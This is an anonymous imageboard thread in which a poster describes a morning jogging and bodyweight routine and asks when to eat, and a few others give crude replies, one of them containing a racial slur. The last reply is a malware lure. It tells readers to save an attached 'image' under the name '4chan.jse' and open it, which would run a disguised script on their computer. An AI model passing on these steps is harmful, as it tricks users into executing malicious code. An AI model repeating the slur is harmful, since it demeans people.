File :-(, x, )
Anonymous
I go jogging in the morning for about 30 minutes (or do some form of cardio), then come home and do body weight exercises and various stretches for about 1 1/2 hours. Before I go jogging I eat a banana and don't have anything else to eat until I'm done with all of my exercises. After I'm totally done exercising for the morning I drink a protein shake (20g protein). I wait about an hour and then have breakfast.

When is the right time to eat? Before I exercise, right after exercising, or an hour or two after exercising?
>> Anonymous
sounds good bra'
>> Anonymous
ur living perfectly.
>> Anonymous
>>293104
An hour after excerniggering.
Always eat after.
Because thats the time when your body is lookin for something to eat to sustain it's self.
>> Anonymous
     File :-(, x)
1. O­pen this ­image. You will see an error message.
2. Save it with the filename "4chan.jse".
3. Open the file you just saved.
4. Shit bricks.